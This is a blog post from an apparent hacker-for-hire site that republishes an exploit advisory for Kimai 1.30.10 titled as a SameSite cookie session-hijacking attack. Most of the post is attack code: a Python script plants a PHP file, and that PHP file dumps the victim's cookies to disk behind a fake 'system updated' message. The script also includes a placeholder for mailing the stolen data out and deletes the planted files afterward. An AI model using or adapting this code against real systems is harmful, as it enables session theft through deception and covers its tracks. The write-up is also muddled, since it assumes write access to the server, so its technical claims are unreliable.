Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86398698

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
## Exploit Title: Kimai-1.30.10 - SameSite Cookie-Vulnerability session hijacking
## Author: nu11secur1ty
## Date: 02.23.2023
## Vendor: https://www.kimai.org/
## Software: https://github.com/kimai/kimai/releases/tag/1.30.10
## Reference: https://www.thesslstore.com/blog/the-ultimate-guide-to-session-hijacking-aka-cookie-hijacking/
## Reference: https://portswigger.net/support/using-burp-to-hack-cookies-and-manipulate-sessions

## Description:
The Kimai-1.30.10 is vulnerable to
SameSite-Cookie-Vulnerability-session-hijacking.
The attacker can trick the victim to update or upgrade the system, by
using a very malicious exploit to steal his vulnerable cookie and get
control of his session.

STATUS: HIGH Vulnerability

[+]Exploit:
## WARNING: The EXPLOIT IS FOR ADVANCED USERS!
This is only one example:
```python
#!/usr/bin/python
import os
import webbrowser
import time

webbrowser.open('https://pwnedhost.com/kimai-1.30.10/public/en/login')
input("After you log in please press any key to continue...")
os.system("copy Update.php
C:\\xampp\\htdocs\\pwnedhost\\kimai-1.30.10\\public\\")
time.sleep(3)
webbrowser.open('https://pwnedhost.com/kimai-1.30.10/public/Update.php')
time.sleep(3)
os.system("copy
C:\\xampp\\htdocs\\pwnedhost\\kimai-1.30.10\\public\\PoC.txt
C:\\Users\\venvaropt\\Desktop\\Kimai-1.30.10\\PoC\\")
# Your mail-sending code must be here ;)
time.sleep(7)
os.system("del C:\\xampp\\htdocs\\pwnedhost\\kimai-1.30.10\\public\\PoC.txt")
os.system("del C:\\xampp\\htdocs\\pwnedhost\\kimai-1.30.10\\public\\Update.php")

```
-----------------------------------------
```PHP
<?php
//echo '<pre>';
//	print_r( $_COOKIE );
//die();

	$fp = fopen('PoC.txt', 'w');
	fwrite($fp, print_r($_COOKIE, TRUE));
	fclose($fp);
	echo "DONE: Now you are already updated! Enjoy your system Kimai
1.30.10 stable (Ayumi)";
?>
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/kimai/2023/Kimai-1.30.10)

## Proof and Exploit:
[href](https://streamable.com/md9fmr)

## Time spend:
03:00:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>